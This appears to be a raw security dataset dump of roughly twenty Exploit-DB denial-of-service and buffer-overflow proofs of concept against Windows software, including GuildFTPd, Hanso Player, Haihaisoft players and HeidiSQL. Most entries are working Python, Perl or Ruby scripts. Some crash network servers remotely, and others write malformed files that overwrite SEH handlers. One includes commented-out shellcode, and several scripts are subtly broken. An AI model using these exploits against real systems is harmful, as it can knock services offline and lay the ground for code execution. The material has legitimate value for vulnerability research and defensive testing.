deardaniel/secdata-raw huggingface dataset:
Exploit-DB #6738
Description: GuildFTPd 0.999.8.11/0.999.14 - Heap Corruption (PoC) / Denial of Service
Type: dos
Platform: windows
Date: 2008-10-12
Author: dmnt

Exploit:
# GuildFTPd v0.999.8.11/v0.999.14 heap corruption PoC/DoS exploit
# GuildFTPd URL - http://www.guildftpd.com
# cwd/list heap corruption
# overwrite registers in free(): ecx, edi
#
# (x)dmnt 2008
# feel free to do shellcode
# -*- coding: windows-1252 -*-

import socket
import sys, time

evil_cwd = "/."*124
evil_dir = "X"*100

def help_info():
    print ("Usage: guildd0s <host> <login> <password>\n")
    print ("Note: anonymous is enought\n")

def dos_it(hostname, username, passwd):
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        sock.connect((hostname, 21))
    except:
        print ("[-] Connection error!")
        sys.exit(1)
    r=sock.recv(1024)
    print "[+] " + r
    sock.send("user %s\n" %username)
    r=sock.recv(1024)
    sock.send("pass %s\n" %passwd)
    r=sock.recv(1024)
    print "[+] Send evil string"
    sock.send("cwd %s\n" %evil_cwd)
    r=sock.recv(1024)
    sock.send("list %s\r\n" %evil_dir)
    time.sleep(3)
    sock.close()
    print "[!] Now server d0s'ed/heap corrupted"

print ("\n]GuildFTPd v0.999.8.11/v0.999.14 remote heap corruption PoC/DoS exploit[")
print ("](x)dmnt 2008[\n\n")

if len(sys.argv) <> 4:
    help_info()
    sys.exit(1)

else:
    hostname=sys.argv[1]
    username=sys.argv[2]
    passwd=sys.argv[3]
    dos_it(hostname,username,passwd)
    sys.exit(0)

# milw0rm.com [2008-10-12]
Exploit-DB #18851
Description: Guitar Pro 6.1.1 r10791 - '.gpx' Crash (PoC)
Type: dos
Platform: windows
Date: 2012-05-09
Author: condis

Exploit:
#!/usr/bin/python

# ---------------------------------------------------------
# Guitar Pro 6.1.1 r10791 (.gpx) Crash POC
# found by condis
# 
# Date      : 01 May 2012 AD
# Tested on : Windows XP Professional SP3 PL
#
# Description :
#
# Each load of malformated file into the program ends up 
# with crash, but place of crash and registers values 
# differ every time o_O"
#  
# In my opinion, this bug does not allow for anything else 
# except getting to a DoS situation, therefore no further 
# research was done.
# ---------------------------------------------------------

evil  = "BCFZ\x04\x10\x01\x00"
evil += "A" * 953

file = open('ogonek_and_cooh_-_not_my_type.gpx', 'w')
file.write(evil)
file.close()

print "Sex, drugs & drum'n'bass!"
Exploit-DB #13939
Description: Hacker Evolution Game: untold Mod Editor 2.00.001 - Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2010-06-19
Author: gunslinger_

Exploit:
#!/usr/bin/perl
# Title         : Hacker Evolution: untold Mod Editor buffer overflow 
# Date          : June 19, 2010
# Author        : gunslinger_ <yudha.gunslinger@gmail.com>
# Web		: http://devilzc0de.com
# Blog		: http://gunslingerc0de.wordpress.com
# Software Link : http://www.exosyphen.com/page_hacker-evolution-untold.html
# Version       : 2.00.001
# Tested on     : Windows XP SP2
# Open Hacker Evolution Mod editor -> open file -> EVIL_STAGE.MOD

my $file= "EVIL_STAGE.MOD";
my $junk= "\x41" x 30000;
open($FILE,">$file");
print $FILE "$junk";
close($FILE);
print "MOD File Created successfully\n";
Exploit-DB #32513
Description: Haihaisoft HUPlayer 1.0.4.8 - '.m3u' / '.pls' / '.asx' Buffer Overflow (SEH)
Type: dos
Platform: windows
Date: 2014-03-25
Author: Gabor Seljan

Exploit:
#-----------------------------------------------------------------------------#
# Exploit Title: Haihaisoft HUPlayer 1.0.4.8 - Buffer Overflow (SEH)          #
# Date: Mar 25 2014                                                           #
# Exploit Author: Gabor Seljan                                                #
# Software Link: http://www.haihaisoft.com/huplayer.aspx                      #
# Version: 1.0.4.8                                                            #
# Tested on: Windows XP SP3                                                   #
#-----------------------------------------------------------------------------#

# (59c.5c4): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# eax=00000003 ebx=0141897a ecx=44444444 edx=01e28c98 esi=01e28c99 edi=01e28367
# eip=0044754f esp=01e27b3c ebp=0000079d iopl=0         nv up ei pl nz na po nc
# cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
# *** ERROR: Module load completed but symbols could not be loaded for mpc-hc.exe
# mpc_hc+0x4754f:
# 0044754f 3b69f4          cmp     ebp,dword ptr [ecx-0Ch] ds:0023:44444438=????????
# 0:005> g
# (59c.5c4): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# eax=00000000 ebx=00000000 ecx=43434343 edx=7c9032bc esi=00000000 edi=00000000
# eip=43434343 esp=01e2776c ebp=01e2778c iopl=0         nv up ei pl zr na pe nc
# cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
# 43434343 ??              ???
# 0:005> !exchain
# 01e27780: ntdll!RtlConvertUlongToLargeInteger+7e (7c9032bc)
# 01e28b68: 43434343
# Invalid exception stack at 42424242

#!/usr/bin/python

junk1  = "\x80" * 50;
offset = "\x41" * 1595;
nSEH   = "\x42" * 4;
SEH    = "\x43" * 4;
junk2  = "\x44" * 5000;

evil = "http://{junk1}{offset}{nSEH}{SEH}{junk2}".format(**locals())

for e in ['m3u', 'pls', 'asx']:
  if e is 'm3u':
    poc = evil
  elif e is 'pls':
    poc = "[playlist]\nFile1={}".format(evil)
  else:
    poc = "<asx version=\"3.0\"><entry><ref href=\"{}\"/></entry></asx>".format(evil)
  try:
    print("[*] Creating poc.%s file..." % e)
    f = open('poc.%s' % e, 'w')
    f.write(poc)
    f.close()
    print("[*] %s file successfully created!" % f.name)
  except:
    print("[!] Error while creating exploit file!")
Exploit-DB #32514
Description: Haihaisoft Universal Player 1.5.8 - '.m3u' / '.pls '/ '.asx' Buffer Overflow (SEH)
Type: dos
Platform: windows
Date: 2014-03-25
Author: Gabor Seljan

Exploit:
#-----------------------------------------------------------------------------#
# Exploit Title: Haihaisoft Universal Player 1.5.8 - Buffer Overflow (SEH)    #
# Date: Mar 25 2014                                                           #
# Exploit Author: Gabor Seljan                                                #
# Software Link: http://www.haihaisoft.com/hup.aspx                           #
# Version: 1.5.8.0                                                            #
# Tested on: Windows XP SP3                                                   #
#-----------------------------------------------------------------------------#

# (6ec.57c): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# eax=00000000 ebx=44444444 ecx=0000000f edx=00000000 esi=04bae7d0 edi=44444448
# eip=0069537f esp=04cb7b18 ebp=04cb7b58 iopl=0         nv up ei pl nz na pe nc
# cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
# *** ERROR: Module load completed but symbols could not be loaded for mplayerc.exe
# mplayerc+0x29537f:
# 0069537f f3ab            rep stos dword ptr es:[edi]
# 0:005> g
# (6ec.57c): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# eax=00000000 ebx=00000000 ecx=43434343 edx=7c9032bc esi=00000000 edi=00000000
# eip=43434343 esp=04cb7748 ebp=04cb7768 iopl=0         nv up ei pl zr na pe nc
# cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
# 43434343 ??              ???
# 0:005> !exchain
# 04cb775c: ntdll!RtlConvertUlongToLargeInteger+7e (7c9032bc)
# 04cb7b4c: mplayerc+2e2e78 (006e2e78)
# 04cb8b80: 43434343
# Invalid exception stack at 42424242

#!/usr/bin/python

junk1  = "\x80" * 50;
offset = "\x41" * 1591;
nSEH   = "\x42" * 4;
SEH    = "\x43" * 4;
junk2  = "\x44" * 5000;

evil = "http://{junk1}{offset}{nSEH}{SEH}{junk2}".format(**locals())

for e in ['m3u', 'pls', 'asx']:
  if e is 'm3u':
    poc = evil
  elif e is 'pls':
    poc = "[playlist]\nFile1={}".format(evil)
  else:
    poc = "<asx version=\"3.0\"><entry><ref href=\"{}\"/></entry></asx>".format(evil)
  try:
    print("[*] Creating poc.%s file..." % e)
    f = open('poc.%s' % e, 'w')
    f.write(poc)
    f.close()
    print("[*] %s file successfully created!" % f.name)
  except:
    print("[!] Error while creating exploit file!")
Exploit-DB #42001
Description: Halliburton LogView Pro 10.0.1 - Local Buffer Overflow (SEH)
Type: dos
Platform: windows
Date: 2017-05-14
Author: Muhann4d

Exploit:
#!/usr/bin/python
# Exploit Title     : Halliburton LogView Pro 10.0.1 - Local Buffer Overflow (SEH)
# Date              : 2017-05-14
# Exploit Author    : Muhann4d
# CVE               : CVE-2017-8926
# Vendor Homepage   : http://www.halliburton.com
# Software Link     : http://www.halliburton.com/public/lp/contents/Interactive_Tools/web/Toolkits/lp/Halliburton_Log_Viewer.exe
# Affected Versions : 10.0.1   
# Category          : Denial of Service (DoS) Local
# Tested on OS      : Windows 7 Professional SP1 32bit
# Proof of Concept  : run the exploit, open the poc.tif file with the Halliburton LogView Pro 10.0.1

# Vendor has been cantacted but no reply.

buf = "\x41" * 848
buff = "\x42" * 4
bufff = "\x43" * 4
buffff = "\x44" * 9999
f = open ("poc.tif", "w")
f.write(buf + buff + bufff + buffff)
f.close()
Exploit-DB #40192
Description: Halliburton LogView Pro 9.7.5 - '.cgm' / '.tif' / '.tiff' / '.tifh' Crash (PoC)
Type: dos
Platform: windows
Date: 2016-08-01
Author: Karn Ganeshen

Exploit:
# Exploit Title: [Haliburton LogView Pro v9.7.5]
# Exploit Author: [Karn Ganeshen]
# Download link: [http://www.halliburton.com/public/lp/contents/Interactive_Tools/web/Toolkits/lp/Halliburton_Log_Viewer.exe]

# Version: [Current version 9.7.5]
# Tested on: [Windows Vista Ultimate SP2]
#
# Open cgm/tif/tiff/tifh file -> program crash -> SEH overwritten
#
# SEH chain of main thread
# Address SE handler
# 0012D22C kernel32.76B6FEF9
# 0012D8CC 42424242
# 41414141 *** CORRUPT ENTRY ***
#

#!/usr/bin/python

file="evil.cgm"
buffer = "A"*804 + "B"*4

file = open(file, 'w')
file.write(buffer)
file.close()

# +++++
Exploit-DB #9157
Description: Hamster Audio Player 0.3a - Local Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-07-15
Author: ThE g0bL!N

Exploit:
# Hamster Audio Player 0.3a  Local BOF PoC
my $crash="\x41" x 4113 ;
open(myfile,'>>PoC.m3u')#/HPL
print myfile $crash;
# By ThE g0bL!N
#Download:http://www.brothersoft.com/hamster-audio-player-download-235347.html
#Note: His0k4 Win Rak :(

# milw0rm.com [2009-07-15]
Exploit-DB #23534
Description: Hand-Crafted Software FreeProxy 3.5/3.6 - FreeWeb CreateFile Function Denial of Service
Type: dos
Platform: windows
Date: 2004-01-09
Author: badpack3t

Exploit:
source: https://www.securityfocus.com/bid/9390/info

It has been reported that FreeWeb server of FreeProxy may be prone to a denial of service vulnerability that may allow an attacker to crash the server process by supplying a malformed HTTP request. The issue exists in the 'CreateFile' function of the web server.

FreeProxy versions 3.6 and prior are reported to be prone to this issue.

GET AAA HTTP/1.0
Exploit-DB #31014
Description: haneWIN DNS Server 1.5.3 - Denial of Service
Type: dos
Platform: windows
Date: 2014-01-17
Author: sajith

Exploit:
###########################################################
[~] Exploit Title: haneWIN DNS Server 1.5.3 - Denial of service
[~] Author: sajith
[~] version: haneWIN DNS Server 1.5.3
[~]Vendor Homepage: http://www.hanewin.net/
[~] vulnerable app link:http://www.hanewin.net/dns-e.htm
[~]Tested in windows Xp sp3
###########################################################
#POC by sajith shetty
import socket

target = "127.0.0.1"
port   = 53

try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
buf = "A" * 3000
request = buf
s.send(request)
data = s.recv(1024)
print data

except:

print "DNS server is Down!"
Exploit-DB #16121
Description: Hanso Converter 1.1.0 - BufferOverflow Denial of Service
Type: dos
Platform: windows
Date: 2011-02-06
Author: badc0re

Exploit:
# Exploit Title: Hanso Converter v1.1.0 Language File Buffer Overflow - Denial OF Service
# Date: 05.02.2011
# Author: Dame Jovanoski(badc0re)
# Software Link: http://www.hansotools.com/downloads/hanso-converter-setup.exe
# Version: v1.1.0
# Tested on: XP sp3
# Type of exploit:local

from struct import *
import time
f=open("app_fr.xml","w")
print "Creating expoit."
time.sleep(1)
print "Creating explot.."
time.sleep(1)
print "Creating explot..."
junk="\x41"*100
print "Your shellcode size is:",len(shell)
try:    
    f.write(junk)  
    f.close()
    print "File created"
except:
    print "File cannot be created"
Exploit-DB #15283
Description: Hanso Converter 1.4.0 - '.ogg' Denial of Service
Type: dos
Platform: windows
Date: 2010-10-19
Author: anT!-Tr0J4n

Exploit:
===================================================
Hanso Converter (.ogg) Buffer Overflow Vulnerability
===================================================
#Title: Hanso Converter (.ogg) Buffer Overflow Vulnerability
#Author    :   anT!-Tr0J4n
#Email      :   D3v-PoinT[at]hotmail[d0t]com & C1EH[at]Hotmail[d0t]com
#Greetz    :   Dev-PoinT.com ~ inj3ct0r.com  ~all DEV-PoinT t34m
#thanks    :   r0073r ; Sid3^effects ; L0rd CrusAd3r ; all Inj3ct0r 31337 Member
#Home     :   www.Dev-PoinT.com  $ http://inj3ct0r.com
#Software :  http://www.hansotools.com/applications/hanso-converter.html
#Tested on:   Windows XP sp3
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

#!/usr/bin/perl 
print "| Author: anT!-Tr0J4n      |\n";
print "| Greetz :http://inj3ct0r.com     |\n";
print "|Home : www.Dev-PoinT.com  |\n";

my $junk= "\x41" x 480 ;
open(file,">crash.ogg");
print file $junk ;
close(file);
Exploit-DB #29545
Description: Hanso Converter 2.4.0 - 'ogg' Buffer Overflow (Denial of Service)
Type: dos
Platform: windows
Date: 2013-11-12
Author: Necmettin COSKUN

Exploit:
#!/usr/bin/env ruby
# coding:UTF-8
# Exploit Title:Hanso Converter 2.4.0 Buffer Overflow(DoS)
# Author:Necmettin COSKUN => twitter.com/babayarisi
# Vendor :www.hansotools.com
# Software link:http://www.hansotools.com/downloads/hanso-converter-setup.exe
# version: 2.4.0
# Tested on: windows XP sp2

DENEME = "A" * 1337

File.open('hanzo.ogg', 'w') do |bofdosya|  
bofdosya.puts (DENEME)
bofdosya.close()
end
Exploit-DB #15193
Description: Hanso Player 1.3.0 - '.m3u' Denial of Service
Type: dos
Platform: windows
Date: 2010-10-03
Author: xsploited security

Exploit:
# Exploit Title: Hanso Player Version 1.3.0 (.m3u) DoS
# Date: 10/02/2010
# Author: xsploited security
# Software Link: http://www.hansotools.com/downloads/hanso-player-setup.exe
# Version: 1.3.0
# Tested on: Windows XP Pro SP3
# CVE : N/A

#########################################################
#EAX 00000001
#ECX 80567B8E
#EDX EDD619A0
#EBX 003E320C ASCII "h    "
#ESP 0103FF24
#EBP 0103FF58
#ESI 0103FF80
#EDI 001610D0
#EIP 7C90E460 ntdll.KiUserCallbackDispatcher

#Process terminated, exit code C0000409 ([PII_REDACTED].)
#########################################################

#!/usr/bin/perl
my $file = "crash.m3u";
my $junk = "\x41" x 1337;
open($FILE,">$file");
print $FILE $junk;
print "\ncrash.m3u file created successfully\n1.) Open it with Hanso player\n2.) Application failure...\n";
close($FILE);
Exploit-DB #15628
Description: Hanso Player 1.4.0 - '.m3u' Denial of Service
Type: dos
Platform: windows
Date: 2010-11-28
Author: anT!-Tr0J4n

Exploit:
===================================================
Hanso Player Version 1.4.0 (.m3u) Denial of Service Vulnerability
===================================================


.....................X-SHADOW ; ThBa7 ; KloofQ8 ; LeGEnD ; abada ...
.......................................Fuck ALL lamers Top-t34m...................



#Title: Hanso Player Version 1.4.0 (.m3u) Buffer Overflow Vulnerability

#Author    :   anT!-Tr0J4n

#Email      :   D3v-PoinT[at]hotmail[d0t]com & C1EH[at]Hotmail[d0t]com

#Greetz    :   Dev-PoinT.com ; GlaDiatOr,SILVER STAR , HoBeeZ, Coffin Of Evil

#special thanks    :   r0073r,Sid3^effects,L0rd CruSad3r,SeeMe,Sonic,gunslinger_,Sn!pEr.S!Te,n4pst3rr,indoushka, KnocKout,SONiC,ZoRLu 

#Home     :   www.Dev-PoinT.com  $ http://1337db.com/

#Software :  http://www.hansotools.com/

#Tested on:   Windows XP sp3

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=


#!/usr/bin/python
#Home : www.Dev-PoinT.com , http://1337db.com/
outfile="anT!-Tr0J4n.m3u"
junk="\x41" * 1270
FILE=open(outfile, "w")
FILE.write(junk)
FILE.close()
print ''' File created succesufully , open  it with Hanso Player and press the Play button '''
Exploit-DB #16120
Description: Hanso Player 1.4.0.0 - 'Skinfile' Buffer Overflow (Denial of Service)
Type: dos
Platform: windows
Date: 2011-02-06
Author: badc0re

Exploit:
# Exploit Title: Hanso Player 1.4.0.0 Buffer Overflow - DoS Skinfile
# Date: 05.02.2011
# Author: Dame Jovanoski(badc0re)
# Software Link: http://www.hansotools.com/downloads/hanso-player-setup.exe
# Version: 1.4.0.0
# Tested on: XP sp3


from struct import *
import time
f=open("default.ini","w")
#shell=("\x29\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x61"
#       "\x28\x38\x56\x83\xeb\xfc\xe2\xf4\x9d\xc0\x7c\x56\x61\x28\xb3\x13"
#       "\x5d\xa3\x44\x53\x19\x29\xd7\xdd\x2e\x30\xb3\x09\x41\x29\xd3\x1f"
#       "\xea\x1c\xb3\x57\x8f\x19\xf8\xcf\xcd\xac\xf8\x22\x66\xe9\xf2\x5b"
#       "\x60\xea\xd3\xa2\x5a\x7c\x1c\x52\x14\xcd\xb3\x09\x45\x29\xd3\x30"
#       "\xea\x24\x73\xdd\x3e\x34\x39\xbd\xea\x34\xb3\x57\x8a\xa1\x64\x72"
#       "\x65\xeb\x09\x96\x05\xa3\x78\x66\xe4\xe8\x40\x5a\xea\x68\x34\xdd"
#       "\x11\x34\x95\xdd\x09\x20\xd3\x5f\xea\xa8\x88\x56\x61\x28\xb3\x3e"
#       "\x5d\x77\x09\xa0\x01\x7e\xb1\xae\xe2\xe8\x43\x06\x09\xd8\xb2\x52"
#       "\x3e\x40\xa0\xa8\xeb\x26\x6f\xa9\x86\x4b\x59\x3a\x02\x28\x38\x56");
print "Creating expoit."
time.sleep(1)
print "Creating explot.."
time.sleep(1)
print "Creating explot..."
junk="\x41"*4418
print "Your shellcode size is:",len(shell)
head=("\x5B\x48\x61\x6E\x73\x6F\x20\x50"
      "\x6C\x61\x79\x65\x72\x20\x53\x6B"
      "\x69\x6E\x5D\x0A")
try:    
    f.write(head+junk)  
    f.close()
    print "File created"
except:
    print "File cannot be created"
Exploit-DB #24556
Description: Hanso Player 2.1.0 - '.m3u' Buffer Overflow
Type: dos
Platform: windows
Date: 2013-03-01
Author: metacom

Exploit:
#!/usr/bin/python
# Exploit Title:Buffer Overflow Vulnerability Hanso Player version 2.1.0
# Download link :www.hansotools.com/downloads/hanso-player-setup.exe
# Author: metacom
# RST
# version: 2.1.0
# Category: poc
# Tested on: windows 7 German  

f=open("fuzzzzz.m3u","w")
print "Creating expoit."

junk="\x41" * 5000

try:    
    f.write(junk)
    f.close()
    print "File created"
except:
    print "File cannot be created"
Exploit-DB #29445
Description: Hanso Player 2.5.0 - 'm3u' Buffer Overflow (Denial of Service)
Type: dos
Platform: windows
Date: 2013-11-05
Author: Necmettin COSKUN

Exploit:
#!/usr/bin/env ruby
# coding:UTF-8
# Exploit Title:Hanso Player 2.5.0 Buffer Overflow
# Author:Necmettin COSKUN => twitter.com/babayarisi
# Vendor :www.hansotools.com
# Software link:http://www.hansotools.com/downloads/hanso-player-setup.exe
# version: 2.5.0
# Tested on: windows XP sp2

DENEME = "\x41" * 240

File.open('hanzo.m3u', 'w') do |bofdosya|  
bofdosya.puts (DENEME)
bofdosya.close()
end
Exploit-DB #37327
Description: HansoPlayer 3.4.0 - Memory Corruption (PoC)
Type: dos
Platform: windows
Date: 2015-06-19
Author: Rajganesh Pandurangan

Exploit:
#!/usr/bin/python

#[+] Author: Rajganesh (Raj) Pandurangan
#[+] Exploit Title:  HansoPlayer 3.4.0 Memory Corruption PoC
#[+] Date: 06-17-2015
#[+] Category: DoS/PoC
#[+] Tested on: WinXp/Windows 7 
#[+] Vendor: http://www.hansotools.com
#[+] Download: http://www.hansotools.com/downloads/hanso-player-setup.exe
#[+] Sites: www.exclarus.com
#[+] Twitter: @rajganeshp
#[+] Thanks:   offensive security (@offsectraining)


print"###########################################################"
print"#  Title: HansoPlayer 3.4.0 Memory Corruption PoC          #"
print"#  Author: Rajganesh Pandurangan                           #"
print"#  Category: DoS/PoC                                       # "
print"###########################################################"
	
header = ("\x52\x49\x46\x46\x64\x31\x10\x00\x57\x41\x56\x45\x66\x6d\x74\x20"
"\x10\x00\x00\x00\x01\x00\x01\x00\x22\x56\x00\x00\x10\xb1\x02\x00"
"\x04\x00\x00\x00\x64\x61\x74\x61\x40\x31\x10\x00\x14\x00\x2a\x00"
"\x1a\x00\x30\x00\x26\x00\x39\x00\x35\x00\x3c\x00\x4a\x00\x3a\x00"
"\x5a\x00\x2f\x00\x67\x00\x0a")

exploit = header
exploit += "\x41" * 900000

crash = open('crash.wav','w')
crash.write(exploit)
crash.close()
Exploit-DB #37747
Description: Havij Pro - Crash (PoC)
Type: dos
Platform: windows
Date: 2015-08-10
Author: i_7e1

Exploit:
#!/usr/bin/env python
#Exploit Title:Havij Pro Crash POC
# Tested:windows7
#Sofrware Link:http://www.itsecteam.com/
#Version:1.17
#Email:i_7e1@outlook.com
#Author:M1x7e1@Safeye Team
#run python poc.py
#copy content to target
#click Analyze

## EDB-Note: tested and verified using version 1.6 Pro

content = “\x41” * 8000
file = open(“xx.txt”,”w”)
file.write(content)
file.close()
Exploit-DB #46749
Description: HeidiSQL 10.1.0.5464 - Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2019-04-25
Author: Victor Mondragón

Exploit:
#Exploit Title: HeidiSQL Portable 10.1.0.5464 - Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2019-04-24
#Vendor Homepage: https://www.heidisql.com/
#Software Link: https://www.heidisql.com/downloads/releases/HeidiSQL_10.1_64_Portable.zip
#Tested Version: 10.1.0.5464
#Tested on: Windows 10 Single Language x64 / Windows 7 x32 Service Pack 1

#Steps to produce the crash:
#1.- Run python code: HeidiSQL_Portable_10.1.0.5464.py
#2.- Open bd_p.txt and copy content to clipboard
#2.- Open HeidiSQL
#3.- Select "New"
#4.- In Network type select "Microsoft SQL Server (TCP/IP)"
#5.- Enable "Prompt for credentials" > click on "Open"
#6.- In Login select "Password" and Paste ClipBoard
#6.- Click on "Login"
#7.- Crashed

cod = "\x41" * 2000

f = open('bd_p.txt', 'w')
f.write(cod)
f.close()
Exploit-DB #45806
Description: HeidiSQL 9.5.0.5196 - Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2018-11-12
Author: Victor Mondragón

Exploit:
# Exploit Title: HeidiSQL 9.5.0.5196 - Denial of Service (PoC)
# Discovery by: Victor Mondragón
# Discovery Date: 2018-11-06
# Vendor Homepage: https://www.heidisql.com/
# Software Link: https://www.heidisql.com/download.php
# Tested Version: 9.5.0.5196
# Tested on: Windows 10 Single Language x64 / Windows 7 x64 Service Pack 1

#Steps to produce the crash:
#1.- Run python code: HeidiSQL 9.5.0.5196.py
#2.- Open bd.txt and copy content to clipboard
#2.- Open HeidiSQL
#3.- Select "More"
#4.- Select "Preferences" > "Logging"
#5.- Select "Write SQL log to file" and Paste ClipBoard
#6.- Click on "OK"
#7.- Crashed

cod = "\x41" * 5000

f = open('bd.txt', 'w')
f.write(cod)
f.close()